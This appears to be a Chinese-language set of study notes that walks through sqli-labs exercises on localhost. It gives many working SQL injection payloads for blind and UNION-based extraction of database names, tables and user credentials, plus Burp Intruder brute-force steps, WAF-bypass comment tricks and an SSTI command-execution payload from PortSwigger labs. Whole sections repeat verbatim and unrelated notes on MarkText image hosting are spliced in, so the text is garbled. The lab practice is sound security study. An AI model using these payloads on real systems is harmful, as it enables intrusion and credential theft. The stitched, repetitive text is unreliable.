1' and substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d' --+
這裡解釋一下limit是什麼,參考:
( https://www.jinnsblog.com/2013/07/mysql-limit-offset-syntax-example.html )
假設一個叫DemoTable的table長這樣:
如果查詢語句是select * from DemoTable order by id limit 5
,代表限制回傳回幾筆,limit 5代表只回傳5筆,結果如下:
如果查詢語句是select * from DemoTable order by id limit 2,4
(或是select * from DemoTable order by id limit 4 offset 2
),代表會傳回從第3筆(2+1,因為index是從0開始算)資料開始的4筆(offset)資料,結果如下:
回到注入語句select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1
。
很明顯的,是從information_schema.columns這個table裡的column_name這一行,取出第一個(0+1=1)值(後面寫1其實就等於只拿這一個)。那information_schema.columns是什麼table呢? 其實是這樣:
(參考: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/ )
這個table紀錄其他資料庫與table的資訊。像上圖就記錄了有一個DB名叫Production,有個table叫ProductProductPhoto,有4個column分別叫ProductID、ProductPhotoID、Primary、ModifiedDate。
所以,limit 0,1只要改左邊的數字,即可往下看第2個、第3個column_name。substr就不用再說了,跟上面說過的SUBSTRING是一樣的。
以下就是猜測結果,下圖的Payload 1是第n+1個column、Payload 2代表這個column的第幾個字,所以第一個column的名稱就是id(Length會不同)。
同理可證,第二個column的名稱是username:
第三個column的名稱是password:
table裡有幾個row(縱軸數量)
1' and (SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13--+
參考:
猜測users這個table裡的username:
1' and substr((select username from security.users limit 0,1),1,1)='D'--+
上面三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。
猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
1' and substr((select password from security.users limit 0,1),1,1)='D'--+
一樣把粗體三變數用burp來做暴力破解即可。
1" and 1=1--+ 顯示正常
1" and 1=2--+ 顯示錯誤
代表原本的查詢語句是
select username,password feom the table where id = "參數"
所以less-6跟less-5用的payload一樣,只要把id = 1'的單引號'
改成雙引號"
即可。
1' and 1=1 --+ 顯示正常
1' and 1=2 --+ 顯示異常
代表原本的查詢語句是
select username,password feom the table where id = '參數'
1' and 1=2 union select null,null,null --+ 顯示正常
1' union select null,null,null --+ 也會顯示正常
但1' and 1=2 union select null,'text',null --+還是無法顯示text字樣(無法回顯)。在輸入的東西確實可以查到時,會顯示You are in...,否則不會顯示。所以需要使用盲注(blind sql injection)技術,無法使用union攻擊,因為看不到字,只能用是否能正常顯示You are in...來判斷有沒有猜對。
猜資料庫的名稱有多長:
1' and length(database())='8' --+
直到8才能正常顯示。
猜目前所在的資料庫的名稱:
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+
SUBSTRING (str, pos, len)的意思是由 str中的第 pos 位置開始,選出接下去的 len 個字元。
所以上面payload的意思,是目前所在的資料庫的名稱的第一個字元(第一個粗體字)是不是s(第二個粗體字)。當然,可以用burp來暴力破解,不用一個一個英文字測。
雙變數暴力破解步驟:
在網址上id=
後面輸入以上Payload,並開啟intercept on,重新整理網頁後burp會出現如下畫面:
按右鍵選擇send to intruder如上圖,會出現畫面如下:
把上圖紅底線處給反藍,並按旁邊的Add$如下圖:
喔對了,attack type要選Cluster bomb:
接下來就可以切到Payload設定這兩個變數要怎麼跑,設定如下:
第一個變數是位置1-8:
第二個變數是英文字、數字,如果要保險一點可以在Character這加上一些特殊符號:
猜測結果如下,如果是猜對的,它的response的Length會比其他網頁短,大概965或966。
上面的Payload 1就是第一個粗體字,Payload 2就是第二個粗體字。比如說Payload 1 = 3且Payload 2 = c,代表目前資料庫的第三個字是c。所以可以拼湊出這個資料庫名稱是security。
猜security的第一個table名稱
1' and substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e' --+
要注意上述的語句。第一個粗體數字代表現在是在猜DB的第幾個table,第二個粗體數字代表是這個table名稱的第幾個字。
暴力破解後,可以看到第一個table結果如下圖,可以發現大小寫不影響。
注意上面的0x7365637572697479。因為發現如果直接寫security會無法執行,所以需要編碼成ASCII Hex,轉碼方式如下圖
同樣的語句可以去猜第2-4個table名稱,以下是設定步驟:
接下來的暴力猜解結果如下圖,Payload 1代表第幾個table(從0開始算),Payload 2是第幾個字,Payload 3是Payload 2這位置的英文字,所以下面這張圖代表第二個table叫referers。
下面這張圖代表第三個table叫uagents。
下面這張圖代表第四個table叫users。
現在已知這個DB的所有table,有可能會有帳密的table大概就是users,所以接下來就是去猜users這個table的所有column名字跟column內容。
步驟如下:
table裡有幾個column? (橫軸數量)
1' and (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3 --+
其中粗體的字就是橫軸數量。除了0x7365637572697479是DB名字security以外,0x7573657273就是table名稱。參考網站:
( https://blog.csdn.net/qingluoII/article/details/71479686 )
接下來是要猜user這個table裡的column有哪些,名字是什麼:
1' and substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d' --+
這裡解釋一下limit是什麼,參考:
( https://www.jinnsblog.com/2013/07/mysql-limit-offset-syntax-example.html )
假設一個叫DemoTable的table長這樣:
如果查詢語句是select * from DemoTable order by id limit 5
,代表限制回傳回幾筆,limit 5代表只回傳5筆,結果如下:
如果查詢語句是select * from DemoTable order by id limit 2,4
(或是select * from DemoTable order by id limit 4 offset 2
),代表會傳回從第3筆(2+1,因為index是從0開始算)資料開始的4筆(offset)資料,結果如下:
回到注入語句select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1
。
很明顯的,是從information_schema.columns這個table裡的column_name這一行,取出第一個(0+1=1)值(後面寫1其實就等於只拿這一個)。那information_schema.columns是什麼table呢? 其實是這樣:
(參考: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/ )
這個table紀錄其他資料庫與table的資訊。像上圖就記錄了有一個DB名叫Production,有個table叫ProductProductPhoto,有4個column分別叫ProductID、ProductPhotoID、Primary、ModifiedDate。
所以,limit 0,1只要改左邊的數字,即可往下看第2個、第3個column_name。substr就不用再說了,跟上面說過的SUBSTRING是一樣的。
以下就是猜測結果,下圖的Payload 1是第n+1個column、Payload 2代表這個column的第幾個字,所以第一個column的名稱就是id(Length會不同)。
同理可證,第二個column的名稱是username:
第三個column的名稱是password:
table裡有幾個row(縱軸數量)
1' and (SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13--+
參考:
猜測users這個table裡的username:
1' and substr((select username from security.users limit 0,1),1,1)='D'--+
上面三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。
猜測users這個table裡的password:
就是把上一句的username改成password而已,其他不變,payload如下:
1' and substr((select password from security.users limit 0,1),1,1)='D'--+
一樣把粗體三變數用burp來做暴力破解即可。
1" and 1=1--+ 顯示正常
1" and 1=2--+ 顯示錯誤
代表原本的查詢語句是
select username,password feom the table where id = "參數"
所以less-6跟less-5用的payload一樣,只要把id = 1'的單引號'
改成雙引號"
即可。
http://localhost/sqli/Less-1/index.php
http://localhost/sqli/Less-1/index.php?id=1
報錯測試1:
猜測sql查詢語句是select username,password feom the table where id = 參數
所以注入語句是and 1=1
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=1
這時可以正常顯示,也就是說跟上圖一樣。
再試試注入語句and 1=2
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=2
會發現也可以正常顯示,也就是說原本猜測的sql查詢語句是猜錯的。
報錯測試2:
猜測sql查詢語句是select username,password feom the table where id = '參數'
所以注入語句'
,也就是:
http://localhost/sqli/Less-1/index.php?id=1'
這時會顯示錯誤:
所以可以確認這一次猜對了select username,password feom the table where id = '參數'
這個查詢語句。以此為基礎來推測該怎麼進行惡意語句注入。
注入語句: 1' and '1' = '1
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '1'
可以預期正常顯示,也就是不被報錯,實際上也的確如此。
注入語句: 1' and '1' = '2
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '2'
可以預期顯示不正常,也就是報錯(但畫面不會顯示錯誤訊息):
正式注入:
猜測欄數
先假設只有一欄,那麼注入語句就是1' union select null--+
但顯示跟上上圖一樣,也就是不正長,所以猜錯了。注入語句改成1' union select null,null--+
也一樣:
這時再試試三個null: 1' union select null,null,null--+
順利變成正常頁面:
這時應再測試欄位型態,也就是把null改成'text',不過三欄應該就分別對應上圖的Dhakkan、Dumb、Dumb,不過也可以試試看,注入語句:
1' union select 'text',null,null--+
(??)注意要促使它報錯,才能在欄位中顯示想要的資訊,注入語句:
1' and 1=2 union select null,null,null--+
確認是哪一種DB(是MySQL、MS SQL、PostgreSQL還是Oracle)?
cheatsheet:
注入語句(用MySQL測試): 1' and 1=2 union select null,null,version()--+
所以是MySQL 8.0.31版。接下來就是用MySQL語法來洩漏資料庫內部內容。洩漏步驟為知道DB名稱->知道DB裡的table名稱->知道DB裡的table的column名稱->知道column裡面內容。
列出DB
1' and 1=2 union select null,null,schema_name FROM information_schema.schemata--+
列出DB的table
1' and 1=2 union select null,TABLE_NAME,null from information_schema.tables where TABLE_SCHEMA = 'mysql'--+
列出table的column
1' and 1=2 union select null,null,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = 'mysql' AND TABLE_NAME = 'columns_priv'--+
列出column內容
1' and 1=2 union select null,null, Host FROM columns_priv--+
最後一步失敗,再想想別的途徑。原來是因為剛剛都只有列出一個DB、一個table、一個column,可以利用group_concat函數列出所有。另外,也不用列出全部DB,只要先從目前所在DB找起就好。
列出目前DB
1' and 1=2 union select null,null,database()--+
列出DB的table
1' and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1' and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1' and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
這一次先猜測原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,首先是:
1' and '1' = '1 --+
這時應該要可以正常顯示,但不如預期:
所以再猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,首先是:
1 and 1 = 1 --+
這時應該要可以正常顯示,也的確沒問題:
1 and 1 = 2 --+
這時應該顯示不正常,也的確如此:
1 and 1 = 2 union select null,null,null --+
後面就跟less-1一模一樣。
1 and 1 = 2 union select null,null,database() --+
列出DB的table
1 and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1 and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1 and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,但不管是
1 and 1=1 --+以及1 and 1=2 --+都正常顯示,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,但不管是
1' and 1=1 --+以及1' and 1=2 --+都顯示不正常,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = ('參數')
以此為基礎來進行顯錯注入,
1') and 1=1 --+顯示正常:
1') and 1=2 --+顯示不正常:
所以原始碼的查詢語句是: select username,password feom the table where id = ('參數')
。接下來就是一模一樣的操作,只要把less-2的語句從1 and 1=2 union select...
改成1') and 1=2 union select...
即可。
既然都開宗明義說是DoubleQuotes,也就是"
,那可以大膽猜測原始碼的查詢語句是: select username,password feom the table where id = ("參數")
。所以可以實際試試:
1") and 1=1 --+可正常顯示
1") and 1=2 --+會顯示異常
所以這個語句是對的。之後的步驟跟less-3都相同,只要把less-2的語句從1 and 1=2 union select...
改成1") and 1=2 union select...
即可。
http://localhost/sqli/Less-1/index.php
http://localhost/sqli/Less-1/index.php?id=1
報錯測試1:
猜測sql查詢語句是select username,password feom the table where id = 參數
所以注入語句是and 1=1
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=1
這時可以正常顯示,也就是說跟上圖一樣。
再試試注入語句and 1=2
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=2
會發現也可以正常顯示,也就是說原本猜測的sql查詢語句是猜錯的。
報錯測試2:
猜測sql查詢語句是select username,password feom the table where id = '參數'
所以注入語句'
,也就是:
http://localhost/sqli/Less-1/index.php?id=1'
這時會顯示錯誤:
所以可以確認這一次猜對了select username,password feom the table where id = '參數'
這個查詢語句。以此為基礎來推測該怎麼進行惡意語句注入。
注入語句: 1' and '1' = '1
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '1'
可以預期正常顯示,也就是不被報錯,實際上也的確如此。
注入語句: 1' and '1' = '2
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '2'
可以預期顯示不正常,也就是報錯(但畫面不會顯示錯誤訊息):
正式注入:
猜測欄數
先假設只有一欄,那麼注入語句就是1' union select null--+
但顯示跟上上圖一樣,也就是不正長,所以猜錯了。注入語句改成1' union select null,null--+
也一樣:
這時再試試三個null: 1' union select null,null,null--+
順利變成正常頁面:
這時應再測試欄位型態,也就是把null改成'text',不過三欄應該就分別對應上圖的Dhakkan、Dumb、Dumb,不過也可以試試看,注入語句:
1' union select 'text',null,null--+
(??)注意要促使它報錯,才能在欄位中顯示想要的資訊,注入語句:
1' and 1=2 union select null,null,null--+
確認是哪一種DB(是MySQL、MS SQL、PostgreSQL還是Oracle)?
cheatsheet:
注入語句(用MySQL測試): 1' and 1=2 union select null,null,version()--+
所以是MySQL 8.0.31版。接下來就是用MySQL語法來洩漏資料庫內部內容。洩漏步驟為知道DB名稱->知道DB裡的table名稱->知道DB裡的table的column名稱->知道column裡面內容。
列出DB
1' and 1=2 union select null,null,schema_name FROM information_schema.schemata--+
列出DB的table
1' and 1=2 union select null,TABLE_NAME,null from information_schema.tables where TABLE_SCHEMA = 'mysql'--+
列出table的column
1' and 1=2 union select null,null,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = 'mysql' AND TABLE_NAME = 'columns_priv'--+
列出column內容
1' and 1=2 union select null,null, Host FROM columns_priv--+
最後一步失敗,再想想別的途徑。原來是因為剛剛都只有列出一個DB、一個table、一個column,可以利用group_concat函數列出所有。另外,也不用列出全部DB,只要先從目前所在DB找起就好。
列出目前DB
1' and 1=2 union select null,null,database()--+
列出DB的table
1' and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1' and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1' and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
這一次先猜測原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,首先是:
1' and '1' = '1 --+
這時應該要可以正常顯示,但不如預期:
所以再猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,首先是:
1 and 1 = 1 --+
這時應該要可以正常顯示,也的確沒問題:
1 and 1 = 2 --+
這時應該顯示不正常,也的確如此:
1 and 1 = 2 union select null,null,null --+
後面就跟less-1一模一樣。
1 and 1 = 2 union select null,null,database() --+
列出DB的table
1 and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1 and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1 and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,但不管是
1 and 1=1 --+以及1 and 1=2 --+都正常顯示,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,但不管是
1' and 1=1 --+以及1' and 1=2 --+都顯示不正常,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = ('參數')
以此為基礎來進行顯錯注入,
1') and 1=1 --+顯示正常:
1') and 1=2 --+顯示不正常:
所以原始碼的查詢語句是: select username,password feom the table where id = ('參數')
。接下來就是一模一樣的操作,只要把less-2的語句從1 and 1=2 union select...
改成1') and 1=2 union select...
即可。
既然都開宗明義說是DoubleQuotes,也就是"
,那可以大膽猜測原始碼的查詢語句是: select username,password feom the table where id = ("參數")
。所以可以實際試試:
1") and 1=1 --+可正常顯示
1") and 1=2 --+會顯示異常
所以這個語句是對的。之後的步驟跟less-3都相同,只要把less-2的語句從1 and 1=2 union select...
改成1") and 1=2 union select...
即可。
用marktext寫筆記遇到的一個問題,是上傳圖片的時候很麻煩,步驟繁多,截圖→開imgur→把圖片丟上imgur→複製圖片連結→在編輯器內貼上。後來發現了一個方法,截完圖後在markdown編輯器上按ctrl+v,即可自動上傳github,並生成![](github...)
這樣的連結的圖片。
步驟:
在github上申請一個專放圖的倉庫,詳細步驟可參考使用Github+picGo搭建图床,保姆级教程来了
安裝npm,只要google即可找到詳細步驟
安裝picgo,指令npm install picgo -g
picgo設定,cmd裡指令打picgo set uploader
:
marktext設定:
shareX設定:注意After capture tasks後,要選的是紅底線那三項。有些google的結果會寫要選copy file path to clipboard,在我的電腦是行不通的。或這是最上面紅底線copy image to clipboard也可以不用選。
https://zhuanlan.zhihu.com/p/489236769
MarkText + picgo图床选择(GitHub或MinIO)_picgo minio_木一番的博客-CSDN博客
https://zinzin.cc/archives/marktextpicgo-tu-chuang-xuan-ze-halo
]]>用marktext寫筆記遇到的一個問題,是上傳圖片的時候很麻煩,步驟繁多,截圖→開imgur→把圖片丟上imgur→複製圖片連結→在編輯器內貼上。後來發現了一個方法,截完圖後在markdown編輯器上按ctrl+v,即可自動上傳github,並生成![](github...)
這樣的連結的圖片。
步驟:
在github上申請一個專放圖的倉庫,詳細步驟可參考使用Github+picGo搭建图床,保姆级教程来了
安裝npm,只要google即可找到詳細步驟
安裝picgo,指令npm install picgo -g
picgo設定,cmd裡指令打picgo set uploader
:
marktext設定:
shareX設定:注意After capture tasks後,要選的是紅底線那三項。有些google的結果會寫要選copy file path to clipboard,在我的電腦是行不通的。或這是最上面紅底線copy image to clipboard也可以不用選。
https://zhuanlan.zhihu.com/p/489236769
MarkText + picgo图床选择(GitHub或MinIO)_picgo minio_木一番的博客-CSDN博客
https://zinzin.cc/archives/marktextpicgo-tu-chuang-xuan-ze-halo
]]>各式login繞穿與sqli步驟
https://sushant747.gitbooks.io/total-oscp-guide/content/sql-injections.html
基礎
https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
中階
https://github.com/ihack4falafel/OSCP/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
進階
https://github.com/OlivierLaflamme/Cheatsheet-God/blob/master/Cheatsheet_SQLInjection.txt
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/#StringwithoutQuotes
portswigger各式網路攻擊中文翻譯
https://hackmd.io/@linus870529/rkpVYwTWs
portswigger之sqli中文翻譯、sqli bypass waf、sqli to RCE
https://feifei.tw/sql-injection/
VM練習資源
https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/Exercises/3.8.1_SQL_Injection_Exercise.html
SQL注入由简入精
https://edu.51cto.com/course/21928.html
第2章get型注入讲解(3小时8分钟9节)
2-12.1 mysql注入基础讲解[24:59]
2-22.2 mysql字符型union联合注入[25:15]
2-32.3 mysql数字型union联合注入[17:27]
2-42.4 extractvalue报错注入讲解[25:57]
2-52.5 updatexml报错注入讲解[13:23]
2-62.6 floor报错注入讲解[31:43]
2-72.7 mysql布尔盲注[25:27]
2-82.8 mysql时间盲注[15:43]
2-92.9 mysql注入文件上传[08:56]
第3章post提交注入(1小时32分钟5节)
3-13.1 post提交联合注入报错注入[23:15]
3-23.2 post提交盲注[08:58]
3-33.3 user-agent报头注入[30:25]
3-43.4 Referer报头注入[11:43]
3-53.5 Cookie报头注入[18:21]
第4章waf绕过的解析(3小时3分钟8节)
4-14.1 注释符过滤绕过[15:36]
4-24.2 and和or绕过[08:38]
4-34.3 空格过滤绕过[18:50]
4-44.4 select及union过滤绕过[22:22]
4-54.5 宽字节注入[14:14]
4-64.6 waf绕过指令介绍[27:53]
4-74.7 云锁web防火墙fuzz测试绕过[42:41]
4-84.8 安全狗web防火墙fuzz测试绕过[33:13]
SQL注入进阶
https://edu.51cto.com/course/22513.html
第1章SQL ACCESS 注入(35分钟2节)
1-11.1 access基础及union注入[19:09]
1-21.2 access 布尔盲注[16:01]
第2章MSSQL SQL SERVER 注入(2小时11分钟7节)
2-12.1 MSSQL sql server基础知识讲解[17:44]
2-22.2 MSSQL union for xml path注入[23:44]
2-32.3 MSSQL and 报错法注入[14:45]
2-42.4 MSSQL union 排除法注入[17:53]
2-52.5 MSSQL convert和cast报错注入[14:54]
2-62.6 MSSQL 布尔盲注[18:52]
2-72.7 MSSQL 时间盲注[23:56]
第3章SQL ORACLE 注入(1小时34分钟5节)
3-13.1 oracle 联合注入[27:26]
3-23.2 oracle 报错注入[13:04]
3-33.3 oracle 布尔盲注[18:07]
3-43.4 oracle case when 时间盲注[21:52]
3-53.5 oracle decode时间盲注[14:16]
SQL注入篇——SqlServer的报错注入
https://blog.51cto.com/u_15274949/2922536
Web安全——基于POST提交的报头注入 (less-18,less-19)
https://blog.csdn.net/qq_35733751/article/details/106402960
SQL注入篇——sqli-labs最详细1-40闯关指南
https://blog.51cto.com/u_15274949/5260279
全网最全sqli-labs通关攻略
https://cloud.tencent.com/developer/article/1906116
less題解
https://www.zhihu.com/people/shiyan.vip/posts?page=5
深入浅出带你学习报错注入
https://juejin.cn/post/7156744293988696095
Sql注入学习笔记——MySQL显错注入
https://blog.csdn.net/qq_44720214/article/details/125998826
谈一谈|SQL注入之显错注入
https://blog.51cto.com/where2go/5060175
十种MYSQL显错注入原理讲解(一)
https://www.cnblogs.com/MiWhite/p/6241265.html
MySQL手注之报错注入详解
https://cloud.tencent.com/developer/article/1630134
Sql注入入门 之 Mssql常规显错注入
https://apt404.github.io/2016/05/17/mssql-error-injection/
SQL注入实战之报错注入篇(updatexml extractvalue floor)
https://www.cnblogs.com/c1047509362/p/12806297.html
二. sql语法记录、waf绕过方法、注入方法总结
判断包裹的方式:
1.单引号'
2.单引号+单括号')
3.单引号+单括号+单括号'))
4.双引号"
5.双引号+单括号")
6.双引号+单括号+单括号"))
7.无包裹
sql注释方式:
--+
用于url中
--空格
用于url中
;%00
应对于对输入有过滤的情况
/**/
用于提交大数据包,waf绕过
/*!1,2,3*/
mysql内联注释,只能用于mysql,waf绕过
#
用于POST表单中
或其他可用于替换的编码
基礎
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
cheat sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
介紹
https://err0r.top/article/ssti/
https://cloud.tencent.com/developer/article/2130787
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
https://houbb.github.io/2020/08/09/web-safe-12-ssti
Django
https://github.com/Lifars/davdts
大全
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
各式login繞穿與sqli步驟
https://sushant747.gitbooks.io/total-oscp-guide/content/sql-injections.html
基礎
https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
中階
https://github.com/ihack4falafel/OSCP/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
進階
https://github.com/OlivierLaflamme/Cheatsheet-God/blob/master/Cheatsheet_SQLInjection.txt
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/#StringwithoutQuotes
portswigger各式網路攻擊中文翻譯
https://hackmd.io/@linus870529/rkpVYwTWs
portswigger之sqli中文翻譯、sqli bypass waf、sqli to RCE
https://feifei.tw/sql-injection/
VM練習資源
https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/Exercises/3.8.1_SQL_Injection_Exercise.html
SQL注入由简入精
https://edu.51cto.com/course/21928.html
第2章get型注入讲解(3小时8分钟9节)
2-12.1 mysql注入基础讲解[24:59]
2-22.2 mysql字符型union联合注入[25:15]
2-32.3 mysql数字型union联合注入[17:27]
2-42.4 extractvalue报错注入讲解[25:57]
2-52.5 updatexml报错注入讲解[13:23]
2-62.6 floor报错注入讲解[31:43]
2-72.7 mysql布尔盲注[25:27]
2-82.8 mysql时间盲注[15:43]
2-92.9 mysql注入文件上传[08:56]
第3章post提交注入(1小时32分钟5节)
3-13.1 post提交联合注入报错注入[23:15]
3-23.2 post提交盲注[08:58]
3-33.3 user-agent报头注入[30:25]
3-43.4 Referer报头注入[11:43]
3-53.5 Cookie报头注入[18:21]
第4章waf绕过的解析(3小时3分钟8节)
4-14.1 注释符过滤绕过[15:36]
4-24.2 and和or绕过[08:38]
4-34.3 空格过滤绕过[18:50]
4-44.4 select及union过滤绕过[22:22]
4-54.5 宽字节注入[14:14]
4-64.6 waf绕过指令介绍[27:53]
4-74.7 云锁web防火墙fuzz测试绕过[42:41]
4-84.8 安全狗web防火墙fuzz测试绕过[33:13]
SQL注入进阶
https://edu.51cto.com/course/22513.html
第1章SQL ACCESS 注入(35分钟2节)
1-11.1 access基础及union注入[19:09]
1-21.2 access 布尔盲注[16:01]
第2章MSSQL SQL SERVER 注入(2小时11分钟7节)
2-12.1 MSSQL sql server基础知识讲解[17:44]
2-22.2 MSSQL union for xml path注入[23:44]
2-32.3 MSSQL and 报错法注入[14:45]
2-42.4 MSSQL union 排除法注入[17:53]
2-52.5 MSSQL convert和cast报错注入[14:54]
2-62.6 MSSQL 布尔盲注[18:52]
2-72.7 MSSQL 时间盲注[23:56]
第3章SQL ORACLE 注入(1小时34分钟5节)
3-13.1 oracle 联合注入[27:26]
3-23.2 oracle 报错注入[13:04]
3-33.3 oracle 布尔盲注[18:07]
3-43.4 oracle case when 时间盲注[21:52]
3-53.5 oracle decode时间盲注[14:16]
SQL注入篇——SqlServer的报错注入
https://blog.51cto.com/u_15274949/2922536
Web安全——基于POST提交的报头注入 (less-18,less-19)
https://blog.csdn.net/qq_35733751/article/details/106402960
SQL注入篇——sqli-labs最详细1-40闯关指南
https://blog.51cto.com/u_15274949/5260279
全网最全sqli-labs通关攻略
https://cloud.tencent.com/developer/article/1906116
less題解
https://www.zhihu.com/people/shiyan.vip/posts?page=5
深入浅出带你学习报错注入
https://juejin.cn/post/7156744293988696095
Sql注入学习笔记——MySQL显错注入
https://blog.csdn.net/qq_44720214/article/details/125998826
谈一谈|SQL注入之显错注入
https://blog.51cto.com/where2go/5060175
十种MYSQL显错注入原理讲解(一)
https://www.cnblogs.com/MiWhite/p/6241265.html
MySQL手注之报错注入详解
https://cloud.tencent.com/developer/article/1630134
Sql注入入门 之 Mssql常规显错注入
https://apt404.github.io/2016/05/17/mssql-error-injection/
SQL注入实战之报错注入篇(updatexml extractvalue floor)
https://www.cnblogs.com/c1047509362/p/12806297.html
二. sql语法记录、waf绕过方法、注入方法总结
判断包裹的方式:
1.单引号'
2.单引号+单括号')
3.单引号+单括号+单括号'))
4.双引号"
5.双引号+单括号")
6.双引号+单括号+单括号"))
7.无包裹
sql注释方式:
--+
用于url中
--空格
用于url中
;%00
应对于对输入有过滤的情况
/**/
用于提交大数据包,waf绕过
/*!1,2,3*/
mysql内联注释,只能用于mysql,waf绕过
#
用于POST表单中
或其他可用于替换的编码
基礎
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
cheat sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
介紹
https://err0r.top/article/ssti/
https://cloud.tencent.com/developer/article/2130787
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
https://houbb.github.io/2020/08/09/web-safe-12-ssti
Django
https://github.com/Lifars/davdts
大全
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
進入以上網頁後按access the lab進入以下畫面,按下view details後會發現下圖的2跑出來。
把把burp給intercept on後再重複一次剛剛的操作,可以發現上圖2的文字其實是發送了一個get請求,message的後面會接東西。我們按右鍵把這一些東西送進repeater來試試看message能不能塞入一些別的東西:
參考以下網頁:
SSTI (Server Side Template Injection) - HackTricks
根據題目提示,看上圖的ERB的東西,並把上圖紅底線的東西塞到message後面如下圖左上角的底線:
可以發現網頁會把它解析成49,如上圖右下角底線。可以再依照上上張圖下方的一些指令試試看:
<%= system("whoami") %>
回到proxy,實際送刪除的指令:
一直按forward,沒得按後再重新整理網頁,即可解題。
進入以上網頁後按access the lab進入以下畫面:
按上圖view post進入下圖網頁,並按下圖紅圈登入。
可以發現文章底下有評論。容易有SSTI的部分是使用者名稱跟評論。
登入:
按底下Preferred name選單選別的,記得在那之前burp需要intercept on:
可以發現下圖紅圈處,這是可以SSTI的洞:
依題目提示找Torando:
